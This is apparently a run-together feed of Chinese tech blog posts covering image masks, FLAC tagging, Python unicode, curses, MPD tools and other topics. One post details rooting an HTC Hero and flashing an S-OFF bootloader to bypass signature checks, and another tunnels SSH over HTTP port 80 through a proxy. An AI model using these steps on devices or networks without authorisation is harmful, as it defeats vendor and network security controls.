分别利用HSV和HSL的饱和度产生遮罩的程序：
for x in range(0, 640):
for y in range(0, 480):
r, g, b, h, s, l = getrgbhsl(f, (x, y))
mask.putpixel((x, y), int(s * 255))
mask.show()
mask.save('mask-hsl.png')
for x in range(0, 640):
for y in range(0, 480):
r, g, b, h, s, v = getrgbhsv(f, (x, y))
mask.putpixel((x, y), int(s * 255))
mask.show()
mask.save('mask-hsv.png')
生成的两个遮罩结果如下，可以发现区别还是很大的，L很大的时候HSL的S是废渣：
MASK-HSL
MASK-HSV
想要做favicon的话把PNG扔到http://converticon.com/上面就行了。
B
C
D
E
F
G
用到的工具函数tool.py改编自http://jtauber.com/blog/2008/10/17/hsl_gradients/，新加入了hsv2rgb/rgb2hsv。
]]>到/usr/share/feh/fonts下看一看，如果没有中文字体，链接或者复制一个过来即可。
如果遇到ttc文件，强制改名ttf貌似也行。另外还有ttc2ttf这个工具可以用。
feh的字体设置用-e命令，格式是<字体>/<字号>。例如，如果有/usr/share/feh/fonts/wqy-microhei.ttf这个文件，命令行可以写成
feh -e wqy-microhei/11 a.jpg]]>
Links:
]]>Links:
]]>
日本线路真好，APCN2、EAC照连不误，到米国两条7Tbps的线路，一条6Tbps的线路还不够，CUCN、TPE经过还能插一腿。
另有各大ISP线路图，也一块发了吧。
Links:
]]>Arch下安装：
$ yaourt -S deluge
会生成一个HOME为/srv/deluge的deluge账户，下面有个隐藏的.config，改配置到那里去改。为了安全起见，最好改一下SSL crt/key，这两个东西存放在~/.config/deluge/ssl目录下，启动server的时候貌似会自动生成（但是谁知道自动生成的这个靠谱不……）。生成SSL crt/key的方法见http://httpd.apache.org/docs/2.0/ssl/ssl_faq.html#selfcert。生成后直接覆盖原文件即可。
本地执行只需
$ deluge
远程执行只需在服务器上
# /etc/rc.d/deluged start # /etc/rc.d/deluge-web start
然后用浏览器连接8112端口即可。
Debian下安装：
# apt-get install deluge deluged deluge-web
和Arch大同小异。需要三个包：deluge/deluged/deluge-web，第一个用于本地执行，后两个用于远程执行。只不过不会像Arch一样建立deluge账户，而是用当前账户。所以配置文件仍然在~/.config/deluge目录下，但~是当前用户的家目录。再者没有init.d下的启动脚本，自己写一个：
#!/bin/bash
if [ "$1" = "stop" ]; then
killall deluge-web
killall deluged
else
deluged -q
deluge-web -fq
fi
]]>Links:
]]>设定是，$\Sigma_1, \Sigma_2$是两个alphabets，编码(codes)$f$是从$\Sigma_1$到$\Sigma_2^*$的映射。令$a = |\Sigma_2|$，为了简单起见，这里假设$\Sigma_2 = \{0, 1\}$ (so $a = 2$). 并且，我们要求f是uniquely decodable codes（见置底链接）。$\Sigma_1$可以看成是原文的字母表，不妨令$\Sigma_1 = \{s_1, \dots, s_n\}$，并设$s_i$出现的概率是$p_i$。令随机变量$X$的取值范围是$\Sigma_1$，且$\Pr[X = s_i] = p_i$。令随机变量$S = |f(X)|$。Shannon's source coding theorem说，如果f是最优的，那么$H(X) \leq E[S] < H(X) + 1$。
Uniquely decodable codes的要求很合理，因为这个定理的适用范围是无损，是必须正确解码。而这个定理说的是，最优码率不可能比熵值更优，并且有一个非常接近熵值的且为uniquely decodable codes的编码（其实也为prefix codes），而且还可以把这个编码显式构造出来。
证明用到了Gibbs' inequality和Kraft's inequality。Gibbs的很易懂，Kraft的有点乱，其实说的是
嗯，是这么个关系。
Links:
]]>这个算法一定会停，因为dangling suffix的长度不可能超过最长的编码的长度，所以dangling suffix的集合的个数是有限的。
Links:
]]>无损音频格式文件的分轨与格式转换：http://checko.soup.io/post/42352988/
Frequently used FLAC metadata blocks:
With these knowledge, commands and outputs of metaflac can be understood. Here are the options:
# view VORBIS_COMMENT metaflac --export-tags-to=- test.flac # Output TITLE=序曲 Album=I'm Sara Artist=Sara Genre=Pop DATE=2008 TRACKNUMBER=01 # export VORBIS_COMMENT metaflac --export-tags-to=test.vorbis test.flac metaflac --export-tags-to=- test.flac > test.vorbis # remove all VORBIS_COMMENT metaflac --remove-all-tags test.flac # import VORBIS_COMMENT metaflac --import-tags-from=test.tags test.flac # format is as Output above, and repeated labels are not merged # remove specific VORBIS_COMMENT metaflac --remove-tag=title test.flac # remove all title tag metaflac --remove-first-tag=title test.flac # remove the first title tag # add specific VORBIS_COMMENT metaflac --set-tag='title=Sara Is Nice' test.flac # add title=Sara Is Nice metaflac --set-tag-from-file='CUESHEET=image.cue' test.flac # add CUESHEET=<content of image.cue> # list all metadata blocks metaflac --list test.flac # export PICTURE metaflac --export-picture-to=test.jpg test.flac # export the first PICTURE metaflac --block-number=3 --export-picture-to=test.jpg test.flac # export PICTURE with block number 3 # import PICTURE metaflac --import-picture-from=test.jpg test.flac # can use SPECIFICATION instead of FILENAME
Links:
]]>起因是之前的手机卡得很，经常只有30几M的可用内存。因为没装太多软件，不知道是不是Sense UI什么的占去了。不过Hero不是有288M的RAM么，怎么沦落到只有30几M的地步呢？其实，给Android系统用的才198M：
http://android.modaco.com/index.php?s=&showtopic=295688&view=findpost&p=1110783
这个可以在adb shell里用
# dmesg | grep Memory <4>[ 0.000000] Memory policy: ECC disabled, Data cache writeback <6>[ 0.019927] Memory: 198MB = 198MB total <5>[ 0.019958] Memory: 194944KB available (4144K code, 1233K data, 132K init) # cat /proc/iomem 00000000-006fffff : smi 00700000-0079afff : msm_panel.1 007a0000-007bffff : ram_console 19200000-257fffff : System RAM 19229000-19634fff : Kernel text 19636000-1976a56b : Kernel data 25800000-25ffffff : ebi a0000000-a00fffff : regs a0200000-a0200fff : msm_serial_hs.0 a0400000-a0400fff : msm_sdcc.1 a0500000-a0500fff : msm_sdcc.2 a0800000-a0801000 : msm_hsusb a9900000-a9900fff : msm_i2c.0 a9900000-a9900fff : msm_i2c a9c00000-a9c00fff : msm_serial.2 a9c00000-a9c00fff : msm_serial aa200000-aa2effff : mdp aa600000-aa600fff : msm_mddi.0
验证。System RAM那一块就是映射到系统内存中的地址。再除去内核占用的部分，也就190M的样子：
# free
total used free shared buffers
Mem: 195524 187804 7720 0 5688
Swap: 0 0 0
Total: 195524 187804 7720
# cat /proc/meminfo
MemTotal: 195524 kB
MemFree: 5792 kB
Buffers: 5688 kB
Cached: 52260 kB
SwapCached: 0 kB
Active: 75444 kB
Inactive: 94848 kB
Active(anon): 48496 kB
Inactive(anon): 64504 kB
Active(file): 26948 kB
Inactive(file): 30344 kB
Unevictable: 276 kB
Mlocked: 0 kB
SwapTotal: 0 kB
SwapFree: 0 kB
Dirty: 0 kB
Writeback: 0 kB
AnonPages: 112640 kB
Mapped: 23232 kB
Slab: 7456 kB
SReclaimable: 2788 kB
SUnreclaim: 4668 kB
PageTables: 6688 kB
NFS_Unstable: 0 kB
Bounce: 0 kB
WritebackTmp: 0 kB
CommitLimit: 97760 kB
Committed_AS: 1101240 kB
VmallocTotal: 712704 kB
VmallocUsed: 70872 kB
VmallocChunk: 605188 kB
所以么，标称288M RAM，最后能用的只有190M左右，再把一些系统自带的软件占用的内存去掉，剩下几十M也还算正常，但30M毕竟还是少了点。所以就想重装一下换个自带垃圾少一些的新ROM了。
Note. 没有想明白free/meminfo中的total为什么会比dmesg里的available memory还少。另外，没发现怎么验证机身内存确实是288M。
重装之前当然要熟悉一下名词：SPL/fastboot/recovery/ROM/root/radio/hboot什么的起码要知道吧。扫盲帖：
Glossary of Android Terms
http://www.villainrom.co.uk/vBwiki/index.php/Glossary_of_Android_Terms#CID
Android手机扫盲：什么是hboot、radio、recovery、fastboot？
http://www.3haow.com/2android-mobile/201106/670.html
看完扫盲帖可能还是一头雾水，我根据个人理解再解释一下（均以HTC Hero GSM非定制版本为例）。事先声明，由于本人很弱，按照本文进行操作导致出错、变砖等任何后果本人概不负责。
首先一个设备要有CPU/RAM/ROM。CPU和RAM可以类比PC的CPU和内存，ROM可以类比PC的硬盘。Hero的ROM应该是一片NAND Flash。CPU方面，Hero采用的是Qualcomm的MSM7200A处理器，有两个核心，一个是ARM11系列，用于Android系统，一个是ARM9系列，用于通讯功能。看这个介绍（下文的神帖就是指它）：
http://forum.xda-developers.com/showthread.php?t=559806
这个介绍里提到，ARM9先运行自己的bootloader，设置radio和security，再启动ARM11。ARM11运行自己的bootloader，提供fastboot等功能。当然，正常情况下bootloader会boot内核，要进入fastboot模式需要按住返回键开机。
bootloader在上面的扫盲帖里已经提到过了。那么bootloader/SPL/hboot有什么区别呢？SPL全称Secondary Program Loader，对应地，有一个Initial Program Loader(IPL)。这个帖子讲了它们是干什么的：
http://forum.xda-developers.com/showpost.php?p=995729&postcount=2
为什么要搞两次呢？这要从闪存(Flash)的结构说起。目前的闪存主要分两种：NAND Flash和NOR Flash。详细的比较见：
http://daimajishu.iteye.com/blog/1087717
一个显著的区别是NOR Flash支持XIP，即存储在NOR Flash中的指令可以被直接执行。相反地，存储在NAND Flash中的指令不能被直接执行，一般要先装载到RAM中再执行。众所周知，CPU上电后会从一个固定的地址(reset vector)开始执行指令。由上面的分析知，这个地址一定指向NOR Flash而不是NAND Flash。所以IPL一定要写在NOR Flash中。而NAND Flash具有比NOR Flash成本更低等优势，所以能写在NAND Flash中的代码就尽量写在NAND Flash中，例如SPL。那么整个流程就是：CPU上电 -> 执行NOR Flash中的IPL -> IPL把SPL从NAND Flash装入RAM，跳转到RAM中的SPL入口 -> SPL继续执行。
当然，厂家可以在板子上固化一片NOR Flash的BOOTROM，在CPU上电后先执行BOOTROM里的指令。这些指令把外挂的NAND Flash中的指令装载到RAM，然后切到新装载的指令的入口。这种情况下IPL写在NAND Flash中也是可以的。不过这时谈论IPL/SPL的区别貌似就没什么意义了。
总之IPL/SPL放在一起就是一个bootloader，处理从CPU上电到OS kernel作用之前的routine，相当于PC的BIOS+grub。在网上还真没看到多少关于讨论Android上IPL/SPL的区别（上面那个讲IPL/SPL区别的帖子是WM机型讨论区里的），貌似大家都默认SPL = bootloader了，也就是刷机时并不是很关心IPL。
那么hboot是什么呢？hboot就是HTC官方的bootloader，也包括在官方版本基础上的修改版本。所以，从现在开始：SPL = bootloader = hboot。刷机的时候认为它们都一样就行了。
还有一个重要的问题是，SPL存储在什么地方呢？显然不可能是RAM，那就只能是ROM了。但一般情况下看不到ROM上SPL那一块的内容。实在想看的话：
http://forum.xda-developers.com/showthread.php?t=569460
http://forum.xda-developers.com/showthread.php?t=542688
然后来讲fastboot。fastboot就是经由SPL进入的一个工程模式，进入方法是按住返回键或VOLDOWN键开机。如果fastboot模式下手机和PC用USB连起来了，就是fastboot-USB模式（以下不作区分），这些在手机上都会有显示。PC上用fastboot命令来配合使用。Arch下可以用
$ yaourt fastboot
来安装，其他OS可以自行Google。fastboot模式下可以直接刷机身内部Flash（即ROM）的内容，也可以boot指定的kernel/recovery。更多关于fastboot，参见：
http://wiki.cyanogenmod.com/wiki/Fastboot
然后什么是recovery呢？定制版Windows XP启动的时候除了Windows XP主选项还有一个“一键还原XXX”之类的都还记得吧？recovery就是这种玩意儿，看成一个小OS也行。用官方的套件更新时也会更新recovery。但官方的recovery功能有限，一般都从下面两个定制版的recovery选一个用：
Amon_Ra's Recovery
ClockworkMod Recovery
地址会在刷ROM的时候给出。所以，recovery是一个比SPL/fastboot更上层，和OS平级的玩意儿。
然后来讲ROM。认真看扫盲帖的童鞋都知道ROM有两个含义，一个是机身内部的Flash，一个是指打包好的OS。我们说刷ROM其实刷的就是OS，就是把一个别人打包好的OS刷写到机身内部的flash上去。
说来说去刷机有这么几个东西要刷：ROM/recovery/SPL/radio（越后面的越底层，刷起来越危险）。一般只刷ROM和recovery就够了，所以先讲讲这两个东西怎么弄。
Linux上想稍微干点大事都得有root，所以必须先拿root。方法见我之前的一个帖子：
http://blog.cykerway.com/post/61
基本原理就是进fastboot模式boot一个定制版的recovery，然后往/system/bin目录下push一个su（su大家都认得吧），往/system/app目录下push一个Superuser.apk（root权限授权工具，防止恶意程序滥用root权限）。就这么简单。
有了root就可以刷ROM了。推荐CyanogenMod 7，基于Android 2.3。照着这个教程：
http://wiki.cyanogenmod.com/wiki/HTC_Hero_(GSM):_Full_Update_Guide
把Installing a Custom Recovery Image和Flashing CyanogenMod部分做完就可以了（radio放到后面说），顺带还把recovery也刷了。不过我没有用教程里指定的CM6.1，而是直接刷了CM7的nightly build，目前工作良好。下载地址为：
http://download.cyanogenmod.com/get/cm_hero_full-114.zip
这个ROM是已经root过的，不需要再拿root了。所有nightly build的列表：
http://download.cyanogenmod.com/?type=nightly&device=hero
在刷SPL和radio之前还得再知道点。特别的，得知道每个分区都是干啥的。进adb shell查看分区说明：
# cat /proc/mtd dev: size erasesize name mtd0: 00040000 00020000 "misc" mtd1: 00500000 00020000 "recovery" mtd2: 00280000 00020000 "boot" mtd3: 0aa00000 00020000 "system" mtd4: 08200000 00020000 "cache" mtd5: 0a5c0000 00020000 "userdata" # echo 以下命令输出略 # ls -l /dev/mtd # ls -l /dev/block # mount
每个分区的功能见：
http://www.androidcn.com/news/20100617/00000086.html
这个链接说得不完全准确。boot分区其实放的是kernel和ramdisk，system分区放的是OS除了kernel的其他部分。通常说刷ROM就是刷这两个分区。data分区是用户数据和用户应用程序，进/data/app下看看就明白了。cache不只是OTA的缓存，而是各种缓存，最明显的有个dalvik-cache。还记得刷ROM时有一步wipe么？就是把这两个分区清了。虽然radio和spl也在Flash里，但是默认没有列出（没有对应于Flash相应区域的mtd device）。
现在说刷radio和SPL。为什么要刷radio呢？为了改善通讯质量。为什么要刷SPL呢？这原因就多了。首先进fastboot模式看看第一行最后是S-ON还是S-OFF。如果是S-OFF，恭喜你不用刷了。如果是S-ON，比如我更新前的SPL信息如下：
HERO CVT SHIP S-ON HBOOT-1.76.0004 (HERO10000) MICROP-010f TOUCH PANEL-SYN0104 RADIO-6.35.17.03 Jul 3 2009, 15:22:21 FASTBOOT USB <VOL DOWN> Hboot Mode <MENU> Reset Device
试试如下命令：
$ sudo fastboot flash recovery ./recovery-RA-hero-v1.7.0.1.img sending 'recovery' (3972 KB)... OKAY writing 'recovery'... INFOsignature checking... FAILED (remote: signature verify fail) $ sudo fastboot flash system ./cm_hero_full-114.zip sending 'system' (79676 KB)... OKAY writing 'system'... INFOsignature checking... FAILED (remote: signature verify fail) $ sudo fastboot boot ./recovery-RA-hero-v1.7.0.1.img downloading 'boot.img'... OKAY booting... OKAY
也就是说fastboot下虽然可以boot但是不可以flash无官方签名的包，那就不能用fastboot刷任何定制的东西了。而且，有些S-ON的SPL（完美SPL）连boot都不能，试想有一天你的ROM和recovery都坏掉了，呵呵，找RUU吧。我先贴在这儿好了，没准真的有人会用到呢：
http://forum.xda-developers.com/showthread.php?t=559622
不过不到万一不推荐刷RUU，尤其是没有漏洞的RUU，原因文章最后说。
其次，S-ON的SPL会检查手机的CID。关于什么是CID：
http://android.zone.it.sohu.com/forums/thread-5661150-1-1.html
也就是说刷RUU都要找匹配的版本。
更详细的，看这篇文章：
里面提到一个security flag在radio里，而radio又没有被expose，所以改这个flag是很困难的，CID同理。还记得最开始那个用串口+USB改security和CID的那个神帖么，现在知道他在做什么了吧。另外还有一种方法叫白卡，可以把SHIP S-ON的SPL刷成SHIP S-OFF。关于白卡，参见：
http://android.baike.com/article-7050.html
更为详细的SPL解锁原理：
http://www.dfhome.com/leadbbs/a/a.asp?B=160&id=11834
看完这个，应该对白卡解（硬解）、软解、串口解（神级别硬解）的原理有所了解了。
这个帖子的5楼讲了刷SPL的几种方法，建议看，因为无论刷什么基本都是这些方法：
http://bbs.gfan.com/thread-50434-1-1.html
然后最重要的，讲radio与SPL的搭配，必须要看，小心变砖！为什么用不兼容的radio和SPL会变砖？回想神帖中整个手机的启动过程，ARM9启动自己的bootloader，设置radio，然后boot ARM11，ARM11启动自己的bootloader，这不就是SPL么。如果radio和SPL不兼容导致SPL无法启动，或者radio/SPL本身出了什么问题，就是传说中的bricked。幸好已经有人公布了可行的搭配，并且还公布了什么样的SPL可以刷，什么样的SPL不能刷：
http://blog.csdn.net/qiuyu0619/article/details/5976270
http://flox.in/g2-brush-radio-tutorial/
如果真的认真看了上面关于SPL的所有文章，现在应该知道完全破解的ENG S-OFF的SPL就是要刷的目标，而完美SPL是要被拉上黑名单的。完美在刷机的时候就是说没法破解。
我当一次小白鼠，把自己用的radio+SPL组合公布一下吧。radio是CyanogenMod Wiki里HTC Hero GSM页面里的，SPL是MoDaCo上Paul公布的。页面地址如下：
http://wiki.cyanogenmod.com/wiki/HTC_Hero_(GSM):_Full_Update_Guide
http://android.modaco.com/content/htc-hero-hero-modaco-com/296389/24-nov-unlocked-spl-for-gsm-hero/
下载地址如下：
http://android.d3xt3r01.tk/cyanogen/hero/radios/hero.6.35.17.03.zip
http://content.modaco.net/hero/update-hero-hboot-1.76.2007-signed.zip
经过实验一起刷或者先刷radio都没有什么问题。当然这和原来的radio/SPL有关系，建议一起刷。用recovery刷即可，方法都是一样的。
更新后SPL信息如下：
HERO CVT ENG S-OFF HBOOT-1.76.2007 (HERO10000) MICROP-010f TOUCH PANEL-SYN0104 RADIO-6.35.17.03 Aug 21 2009, 18:19:15 FASTBOOT USB <VOL DOWN> Hboot Mode <MENU> Reset Device
测试一下fastboot，发现可以flash无官方签名的包了，当然也可以boot：
$ sudo fastboot flash recovery ./recovery-RA-hero-v1.7.0.1.img sending 'recovery' (3972 KB)... OKAY writing 'recovery'... OKAY $ sudo fastboot flash recovery ./recovery-clockwork-2.5.0.7-hero.img sending 'recovery' (2428 KB)... OKAY writing 'recovery'... OKAY $ sudo fastboot flash system ./cm_hero_full-114.zip sending 'system' (79676 KB)... OKAY writing 'system'... OKAY $ sudo fastboot boot ./recovery-RA-hero-v1.7.0.1.img downloading 'boot.img'... OKAY booting... OKAY
刷了SPL就可以更换开机画面了。方法见：
不过Paul大神已经做好了rgb565文件。如果想换别的图片，只需要自己做一个rgb565即可。教程在这儿：
http://android-dls.com/wiki/index.php?title=Creating_Splashboot_Images
Hero的屏幕和G1一样，都是320x480，所以文件大小也都应该一样。里面用到的rgb2565的源代码在这里：
http://android.git.kernel.org/?p=platform/build.git;a=blob;f=tools/rgb2565/to565.c
无任何库依赖，直接编译即可。
最后附更新前后的配置信息：
------------------------- 更新前 ------------------------- Firmware version 2.1-update1 Baseband version 63.18.55.06OU_6.35.15.01 Kernel version 2.6.29-5f74b252 htc-kernel@and18-2 #1 Build number 3.31.751.1 CL183682 release-keys Software number 3.31.751.1 ------------------------- 更新后 ------------------------- Android version 2.3.4 Baseband version 63.18.55.06SU_6.35.17.03 Kernel version 2.6.29.6-flykernel-12a elelinux@elelinux-computer #34 Mod version CyanogenMod-7-07042011-NIGHTLY-Hero Build number GRJ22
总结一下：
所有的破解都依赖于官方系统的漏洞，无论来自于SPL/recovery/OS。所以，想用定制版的一个前提就是不要用RUU更新，也不要OTA，官方版本越旧就越容易破解。
所有的破解方法都大同小异，不外乎下面几种：
S-OFF的SPL可以直接用fastboot flash写入。
S-ON但允许boot未签名包的SPL可以fastboot boot custom-recovery.img再从recovery写入。
已经有定制recovery的可以从recovery写入。
已经有root的可以用flash_image写入。
当然，用串口的神谁也阻挡不了。
刷ROM和recovery基本是安全的，不会变砖。但也有不能继续使用定制版的风险。例如SPL是完美SPL而ROM和recovery都刷坏了。
刷radio和SPL要小心，失败可能导致变砖。建议用别人尝试过的组合。
最好刷已经root过的ROM。
Note. 如果文中什么地方解释有误敬请指出。
]]>不过在Arch下给mpd配这个东西还是有一点周折的。先要安装libmpd这个依赖。然后安装osd-lyrics-git（AUR里的其他两个版本同理）的时候注意PKGBUILD里面mpd的选项是关闭的，要手动改一下。这里不改的话到后面找不到播放器还不知道哪里错了……
改了这个还不够，mpd的监听host和port还需要配置一下。建议设置成localhost和6600即可。注意最好写成localhost而不是127.0.0.1，因为OSD Lyrics的源程序是这样写的：
// ol_player_mpd.c
static const char *DEFAULT_HOSTNAME = "localhost";
static const int DEFAULT_PORT = 6600;
// ...
static gboolean
ol_player_mpd_init ()
{
hostname = g_strdup (getenv ("MPD_HOST"));
if (hostname == NULL)
hostname = g_strdup (DEFAULT_HOSTNAME);
char *portenv = getenv ("MPD_PORT");
if (portenv == NULL)
port = DEFAULT_PORT;
else
port = atoi (portenv);
mpd = mpd_new (hostname, port, NULL);
if (mpd == NULL)
{
ol_error ("Create MPD Object failed");
return FALSE;
}
mpd_set_connection_timeout (mpd, 0.1);
/* TODO: connect signals here */
return TRUE;
}
也就是说它会去连localhost。如果设置成127.0.0.1就可能会连不上了。咦，mpd的协议里好像没有区分localhost和127.0.0.1吧，再说主机名又没有发过去，localhost和127.0.0.1有什么区别呢？为什么设置成localhost可以连设置成127.0.0.1就不行呢？
::1
]]>首先str和unicode的区别是什么呢？str相当于单byte数组，而unicode存的是UCS-2或UCS-4。可以敲一下
>>> sys.maxunicode
如果是65535(0xffff)就是UCS-2，如果是1114111(0x10ffff)就是UCS-4。
然后其实可以把str看成编码过的信息，把unicode看成抽象的未经编码的文本信息（虽然其实是UCS-2/UCS-4）。
这么看的话unicode的encode和str的decode就说得通了。unicode的encode就是把抽象的文本编码一下，变成具体的，str的decode正好反过来。下面的实验证实了这一点：
>>> a = '你好'
>>> b = u'你好'
>>> a
'\xe4\xbd\xa0\xe5\xa5\xbd'
>>> b
u'\u4f60\u597d'
>>> b.encode('UTF-8')
'\xe4\xbd\xa0\xe5\xa5\xbd'
>>> a.decode('UTF-8')
u'\u4f60\u597d'
很通顺是吧。然后现在我告诉你unicode还可以decode，str还可以encode你作何感想？试一下：
>>> b.decode('UTF-8')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/lib/python2.7/encodings/utf_8.py", line 16, in decode
return codecs.utf_8_decode(input, errors, True)
UnicodeEncodeError: 'ascii' codec can't encode characters in position 0-1: ordinal not in range(128)
>>> a.encode('UTF-8')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
UnicodeDecodeError: 'ascii' codec can't decode byte 0xe4 in position 0: ordinal not in range(128)
大侠，为什么我decode却出现了UnicodeEncodeError，encode却出现了UnicodeDecodeError？
先说后面那个。a.encode()相当于unicode(a).encode()。调用unicode构造函数时没有指定编码，所以采用默认编码。python2.x的默认编码是ascii。不信敲个sys.getdefaultencoding()看看。然后就不用说了吧。b.decode()那个是一样的，就是反过来了。
至于允许这么做有用没用，反正python3里已经没有这些玩意儿了，有用没用好像还是挺明显的。总之，就老老实实地在str上调用decode，在unicode上调用encode吧。
这里插一个ipython的bug，差点让我误入歧途。在ipython里输入
In [1]: b = u'你好'
得到的是
In [2]: b Out[2]: u'\xe4\xbd\xa0\xe5\xa5\xbd'
真囧。
最后顺带展望一下python3的美好。没有神马unicode了，没有默认ascii这回事了，新的组合叫str/bytes。默认编码UTF-8，而且str默认就支持unicode字符，而bytes就是一个纯字节数组。这样区分就很明显了，要表示抽象的字符串，就用str；要表示编码过的字符串，就用bytes。str只能encode，bytes只能decode，没有那么多乱糟糟的事了。
Links:
# TAG: shutdown_lifetime time-units # When SIGTERM or SIGHUP is received, the cache is put into # "shutdown pending" mode until all active sockets are closed. # This value is the lifetime to set for all open descriptors # during shutdown mode. Any active clients after this many # seconds will receive a 'timeout' message. #Default: # shutdown_lifetime 30 seconds
把30秒改成3秒，完毕。
]]># Server listens on port 80, and forwards to local port 22 hts -F 127.0.0.1:22 80 # Client forwards local port 3333 to <server ip>:80 htc [-A user:password] [-P <proxy ip>:port] -F 3333 <server ip>:80 # SSH to server from client. Client just needs to connect to a local port. ssh -p 3333 user@127.0.0.1 # The whole process is as follows (7001/8002/9003 are arbitrary ports): # # Client Server # 7001 -> 3333 9003 -> 22 # \ / # 8002 --httptunnel-- 80
It seems IPv6 is not supported because I find hts doesn't listen on IPv6 ports.
]]>#!/usr/bin/python2 import curses import time stdscr = curses.initscr() h, w = stdscr.getmaxyx() stdscr.addch(h-1, w-1, '*') stdscr.refresh() time.sleep(3) curses.endwin()
运行，发现崩溃了，错误提示为_curses.error: addch() returned ERR。咦，为什么不能在右下角的位置放一个字符？
答案是，addch会将光标向右移动一格，在右下角的位置向右一格就超出窗口了。所以，这个问题不只是stdscr会有，其他window也会有。不只是addch会有，addstr也会有。
一个解决办法是用insch替代addch。可是这太恶心了，因为insch在其他位置使用时会将文本右移，于是不得不对右下角位置和其他位置区别使用。
另一个稍好的解决办法是将addch用try...except...包起来并忽略错误，像下面这样：
#!/usr/bin/python2
import curses
import time
stdscr = curses.initscr()
h, w = stdscr.getmaxyx()
try:
stdscr.addch(h-1, w-1, '*')
except curses.error:
pass
stdscr.refresh()
time.sleep(3)
curses.endwin()
这样虽然不用对不同位置分别处理了，可是每次使用addch/addstr都要加try...except...不是很烦？因为多数情况下并不关心添加的内容是否超出了窗口。
C里面就工作得好好的：
#include <ncurses.h>
int main()
{
initscr();
/* get window size */
int h,w;
getmaxyx(stdscr, h, w);
mvaddch(h-1, w-1, '*');
refresh();
sleep(3);
endwin();
return 0;
}
虽然超出窗口有必要提醒一下，但总应该设置个选项允许忽略这个问题吧，某种意义上说这也算个bug了。
Links:
]]>
#include <ncurses.h>
inline int max(int a, int b)
{
return (a > b) ? a : b;
}
inline int min(int a, int b)
{
return (a < b) ? a : b;
}
int main()
{
initscr();
cbreak();
noecho();
//curs_set(0);
/* get window size */
int h,w;
getmaxyx(stdscr, h, w);
int y = 0,x = 0;
int c;
while ((c = getch()) != 'q') {
if (c >= 'a') {
mvaddch(y, x, '*');
move(y, x);
}
if (c == 'h' || c == 'H') {
x = max(0, x-1);
} else if (c == 'j' || c == 'J') {
y = min(h-1, y+1);
} else if (c == 'k' || c == 'K') {
y = max(0, y-1);
} else if (c == 'l' || c == 'L') {
x = min(w-1, x+1);
}
if (c >= 'a')
mvaddch(y, x, '*');
move(y, x);
refresh();
}
endwin();
return 0;
}
// poll.c
#include <poll.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
void check_ready(int fdi, int fdo)
{
// setup pollfds, with events interested in
struct pollfd fds[2];
fds[0].fd = fdi;
fds[0].events = POLLIN;
fds[1].fd = fdo;
fds[1].events = POLLOUT;
// poll
int ret = poll(fds, 2, 2000);
printf("ret = %d\n", ret);
if (ret < 0) {
printf("error\n");
} else if (ret == 0) {
printf("timeout\n");
} else {
if (fds[0].revents & POLLIN)
printf("input fd is ready to read\n");
else
printf("input fd isn't ready to read\n");
if (fds[1].revents & POLLOUT)
printf("output fd is ready to write\n");
else
printf("output fd isn't ready to write\n");
}
}
int main()
{
int f = open("/tmp/this_dummy_file_should_not_exist.txt", O_WRONLY | O_CREAT, 0644);
check_ready(STDIN_FILENO, f);
return 0;
}
$ ./select $ ./poll $ echo abc | ./select $ echo abc | ./poll]]>
主类是MPDClient，里面并没有定义很多public方法，但play/stop/repeat等方法都执行无误。原来这是用__getattr__实现的，这个函数的返回值是一个lambda函数，所以看上去好像是直接调用了对应的方法一样。用__getattr__还有一个好处是可以针对不同的方法名做不同的处理，看代码的话会发现返回的lambda函数实际上是调用wrapper来处理，而wrapper是_send/_fetch/_execute之一。
socket是在connect方法中建立的，这个connect方法确实是实际定义的。根据host来区分是Unix Domain Socket还是TCP socket。建立好socket之后设置读写FD。
最底层的IO函数是_write_line和_read_line，是直接在socket的FD上做IO。其他的IO函数都是通过调用这两个来实现的。值得一提的是_fetch_objects这个函数。有很多读取的内容都是同类的多个对象，例如songs/playlists等等，这里通过delimeter的方式统一实现了。具体做法是在_read_objects中写的，_fetch_objects调用了_read_objects。
command_list方面因为不会用到，所以没有仔细看。根据mpd的协议看上去就是一大串命令前面加个command_list_ok_begin后面加个command_list_end之类。再设置一些标志位表示是否在command_list中。
虽然只是简单传些文本，不到500行能清晰搞定也还是十分NB的。
]]>
#!/usr/bin/env python
import mpd # Import MPD Library
import pyosd # Import OSD Library
import time # Import Internal Time Module
client = mpd.MPDClient() # Init MPD Client
client.connect("localhost", 6600) # Connect to local MPD Server
cs = client.currentsong() # Get the currentsong dict
if 'title' in cs: # Check to see if "title" title exists in the dict
songtitle = cs['title'] # If it does set songtitle to the id3 title
elif 'file' in cs: # If it doesn't have a title use the filename
songtitle = cs['file'] # Set songtitle to the filename
FONT = "-*-helvetica-*-r-normal--34-*-*" # Set the font
COLOR = "#287D28" # Set the color (dark green)
p = pyosd.osd(font=FONT, colour=COLOR) # init pyosd with the font and color
p.display(songtitle) # Finally use Pyosd to display the song title
time.sleep(2) # Show the message for 2 seconsd
我们想要将#对齐在同一列。首先注意到这个例子中代码列和注释列不重合，否则先把#替换为若干空格+#。然后在代码列和注释列中选一列j，用Ctrl+v将空格替换为#。
#!/usr/bin/env python
import mpd # # Import MPD Library
import pyosd # # Import OSD Library
import time # # Import Internal Time Module
client = mpd.MPDClient() # # Init MPD Client
client.connect("localhost", 6600) # # Connect to local MPD Server
cs = client.currentsong() # # Get the currentsong dict
if 'title' in cs: # # Check to see if "title" title exists in the dict
songtitle = cs['title'] # # If it does set songtitle to the id3 title
elif 'file' in cs: # # If it doesn't have a title use the filename
songtitle = cs['file'] # # Set songtitle to the filename
FONT = "-*-helvetica-*-r-normal--34-*-*" # # Set the font
COLOR = "#287D28" # # Set the color (dark green)
p = pyosd.osd(font=FONT, colour=COLOR) # # init pyosd with the font and color
p.display(songtitle) # # Finally use Pyosd to display the song title
time.sleep(2) # # Show the message for 2 seconsd
最后用Shift+v选中所有要修改的行，执行s/#\s*#/#/g，于是就对齐了。
#!/usr/bin/env python
import mpd # Import MPD Library
import pyosd # Import OSD Library
import time # Import Internal Time Module
client = mpd.MPDClient() # Init MPD Client
client.connect("localhost", 6600) # Connect to local MPD Server
cs = client.currentsong() # Get the currentsong dict
if 'title' in cs: # Check to see if "title" title exists in the dict
songtitle = cs['title'] # If it does set songtitle to the id3 title
elif 'file' in cs: # If it doesn't have a title use the filename
songtitle = cs['file'] # Set songtitle to the filename
